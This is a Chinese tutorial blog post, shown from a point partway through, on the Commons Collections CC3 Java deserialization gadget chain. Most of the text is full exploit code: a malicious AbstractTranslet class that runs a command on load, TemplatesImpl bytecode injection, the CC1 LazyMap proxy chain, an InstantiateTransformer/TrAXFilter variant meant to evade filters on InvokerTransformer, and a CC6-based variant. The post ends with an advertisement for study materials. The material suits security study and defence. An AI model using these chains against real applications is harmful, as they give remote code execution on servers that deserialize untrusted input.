Java反序列化-CC3链

        throw new RuntimeException(e);
    }
}

}


然后编译成 .class字节码文件  
 ![image.png](https://img-blog.csdnimg.cn/img_convert/1da0405c265b50796719055ddf5a1695.png)  
 正常来说我们运行exp代码会弹窗,但是报错提示出现了空指针错误  
 ![image.png](https://img-blog.csdnimg.cn/img_convert/63780d966773f387fee8a1fcee7eac34.png)  
 来到393行进行断点调试  
 ![image.png](https://img-blog.csdnimg.cn/img_convert/7c4c7174b4e4c64d8566d442aecdba86.png)  
 一直按F8断点调试来到这里,可以看见前面的类加载成功了。  
 ![image.png](https://img-blog.csdnimg.cn/img_convert/0c2be13b80b290dda06ae20d927bb6ee.png)  
 这个代码的主要意思是:


* 获取这个加载类的类名,如果类包含 AbstractTranslet这个类,就会来到下面的else代码段,所以我们才显示空指针。


我们可以让加载的类继承AbstractTranslet这个类就好了,继承类之后还要重写方法,最后变成以下代码:



import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec(“calc”);
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
}

}


重写编译成字节码文件,最后运行exp代码,可以看见命令执行成功  
 ![image.png](https://img-blog.csdnimg.cn/img_convert/52cba03328dbd4ce8e2235297cafcb88.png)  
 现在已经完成了一半条链了。


### CC3链=CC1前半段链+Templateslmpl类利用链


实际上链子的完整利用前半段一样只是后半段不一样  
 ![image.png](https://img-blog.csdnimg.cn/img_convert/0a9c46a7292303ce791f7b3aaec445ce.png)  
 CC1链唯一修改的地方是这里:



Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer(“newTransformer”,null,null)
};



import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.awt.event.ItemListener;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3 {
public static void main(String[] args) throws Exception {

    TemplatesImpl templates = new TemplatesImpl();

    Class<? extends TemplatesImpl> c = templates.getClass();
    Field name = c.getDeclaredField("\_name");
    name.setAccessible(true);
    name.set(templates,"a");

    Field bytecodes = c.getDeclaredField("\_bytecodes");
    bytecodes.setAccessible(true);
    byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
    byte[][] codes = {eval};
    bytecodes.set(templates,codes);

    Field tfactory = c.getDeclaredField("\_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());

// templates.newTransformer();
org.apache.commons.collections.Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer(“newTransformer”,null,null)

    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    chainedTransformer.transform(1);

}

}


可以看见命令执行成功  
 ![image.png](https://img-blog.csdnimg.cn/img_convert/f78b3d20cd7530f1d88e069750e47ad2.png)  
 最后直接放入剩下的CC1前半链



import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.awt.event.ItemListener;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws Exception {

    TemplatesImpl templates = new TemplatesImpl();

    Class<? extends TemplatesImpl> c = templates.getClass();
    Field name = c.getDeclaredField("\_name");
    name.setAccessible(true);
    name.set(templates,"a");

    Field bytecodes = c.getDeclaredField("\_bytecodes");
    bytecodes.setAccessible(true);
    byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
    byte[][] codes = {eval};
    bytecodes.set(templates,codes);

    Field tfactory = c.getDeclaredField("\_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());

// templates.newTransformer();
org.apache.commons.collections.Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer(“newTransformer”,null,null)

    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// chainedTransformer.transform(1);

    HashMap<Object, Object> hashMap = new HashMap<>();
    Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
    Class<LazyMap> lazyMapClass = LazyMap.class;

    Class<?> a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> aihConstructor = a.getDeclaredConstructor(Class.class, Map.class);
    aihConstructor.setAccessible(true);
    //转InvocationHandler类型是为了能够调用处理程序实现的接口
    InvocationHandler aih =  (InvocationHandler) aihConstructor.newInstance(Override.class, lazymap);


    Map proxyMap  = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, aih);
    InvocationHandler o = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);

    serialize(o);
    unserialize("ser.bin");

}

//序列化与反序列化
public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws  IOException,ClassNotFoundException{
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    Object obj = ois.readObject();
    return obj;
}

}


反序列化代码后命令执行成功  
 ![image.png](https://img-blog.csdnimg.cn/img_convert/47fa2fab6e6b0e95ce538f6f0429ed90.png)


### 代替InvokerTransformer类链


当服务过滤了这个InvokerTransformer类的时候,我们可以选择其他类代替,作为链子的一部分。  
 ![image.png](https://img-blog.csdnimg.cn/img_convert/df9cc74a83f06ef7f0ad862f6b9dc1ec.png)  
 我们可以寻找调用 newTransformer 方法的类的方法  
 ![image.png](https://img-blog.csdnimg.cn/img_convert/b3e0b20de0f319c1935cb1dea83dd41d.png)  
 可以看见这里调用了newTransformer()方法  
 ![image.png](https://img-blog.csdnimg.cn/img_convert/af15ed5e7a7d6caae3a59dc7efd879fe.png)  
 但是由于 TrAXFilter 类并没有继承 序列化接口,所以它不能够进行序列化。需要 TrAXFilter 类的class才可以。


CC3的作者找到了一个 InstantiateTransformer 类的 transform方法。  
 ![image.png](https://img-blog.csdnimg.cn/img_convert/3618b60df06adc0297aeae232048fea5.png)


* 第一个if判断传进来的参数是否是 Class类型
* 然后获取它的指定参数类型的构造器,然后调用它的构造方法


从而构造这个exp代码:



import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3 {
public static void main(String[] args) throws Exception {

    TemplatesImpl templates = new TemplatesImpl();

    Class<? extends TemplatesImpl> c = templates.getClass();
    Field name = c.getDeclaredField("\_name");
    name.setAccessible(true);
    name.set(templates,"a");

    Field bytecodes = c.getDeclaredField("\_bytecodes");
    bytecodes.setAccessible(true);
    byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
    byte[][] codes = {eval};
    bytecodes.set(templates,codes);

    Field tfactory = c.getDeclaredField("\_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    
    InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
    instantiateTransformer.transform(TrAXFilter.class);
        }

//序列化与反序列化
public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws  IOException,ClassNotFoundException{
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    Object obj = ois.readObject();
    return obj;
}

}


运行后可以看见成功调用了 TrAXFilter类的 TrAXFilter方法,且命令执行成功  
 ![image.png](https://img-blog.csdnimg.cn/img_convert/133c05f3aa851c0789b52d791b9291fa.png)  
 完整版exp代码:



import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws Exception {

    TemplatesImpl templates = new TemplatesImpl();

    Class<? extends TemplatesImpl> c = templates.getClass();
    Field name = c.getDeclaredField("\_name");
    name.setAccessible(true);
    name.set(templates,"a");

    Field bytecodes = c.getDeclaredField("\_bytecodes");
    bytecodes.setAccessible(true);
    byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
    byte[][] codes = {eval};
    bytecodes.set(templates,codes);

// Field tfactory = c.getDeclaredField(“_tfactory”);
// tfactory.setAccessible(true);
// tfactory.set(templates,new TransformerFactoryImpl());

    Transformer[]  transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})

    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// instantiateTransformer.transform(TrAXFilter.class);

    HashMap<Object, Object> hashMap = new HashMap<>();
    Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
    Class<LazyMap> lazyMapClass = LazyMap.class;

    Class<?> a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> aihConstructor = a.getDeclaredConstructor(Class.class, Map.class);
    aihConstructor.setAccessible(true);
    //转InvocationHandler类型是为了能够调用处理程序实现的接口
    InvocationHandler aih =  (InvocationHandler) aihConstructor.newInstance(Override.class, lazymap);


    Map proxyMap  = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, aih);
    InvocationHandler o = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);

    serialize(o);
    unserialize("ser.bin");
}

//序列化与反序列化
public static void serialize(Object obj) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws  IOException,ClassNotFoundException{
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    Object obj = ois.readObject();
    return obj;
}

}


主要是修改了这段代码:



Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};


实际上可以删除这段代码也可以运行,因为反序列化的时候readObject方法会自动复制\_tfactory的变量都是一样的



Field tfactory = c.getDeclaredField(“_tfactory”);
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());


最后运行代码,可以发现命令执行成功  
 ![image.png](https://img-blog.csdnimg.cn/img_convert/7520cc54951311490af63a0c5e72bdc5.png)


### CC6配合CC3的链


原理是CC6的:CC1+URLDNS反射,这里我们加到CC3里,也可以利用



import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws Exception {

    TemplatesImpl templates = new TemplatesImpl();

    Class<? extends TemplatesImpl> c = templates.getClass();
    Field name = c.getDeclaredField("\_name");
    name.setAccessible(true);
    name.set(templates,"a");

    Field bytecodes = c.getDeclaredField("\_bytecodes");
    bytecodes.setAccessible(true);
    byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));
    byte[][] codes = {eval};
    bytecodes.set(templates,codes);

    Field tfactory = c.getDeclaredField("\_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());



    org.apache.commons.collections.Transformer[]  transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})

    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// instantiateTransformer.transform(TrAXFilter.class);

    HashMap<Object, Object> hashMap = new HashMap<>();
    Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
    hashMap.put(tiedMapEntry,null);
    hashMap.remove(null);//也可以修改为lazymap,null改为任意字符都可以

    Class<LazyMap> lazyMapClass = LazyMap.class;
    Field factory = lazyMapClass.getDeclaredField("factory");
    factory.setAccessible(true);
    factory.set(lazymap,chainedTransformer);

    serialize(hashMap);
    unserialize("ser.bin");


}

最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

img

img

img

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

[外链图片转存中…(img-uA3qOIEm-1715501499627)]

[外链图片转存中…(img-F62MT8dF-1715501499628)]

[外链图片转存中…(img-kKfirGZr-1715501499628)]

[外链图片转存中…(img-B1ijJ0DV-1715501499628)]

[外链图片转存中…(img-GDfthONy-1715501499629)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

  • 4
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值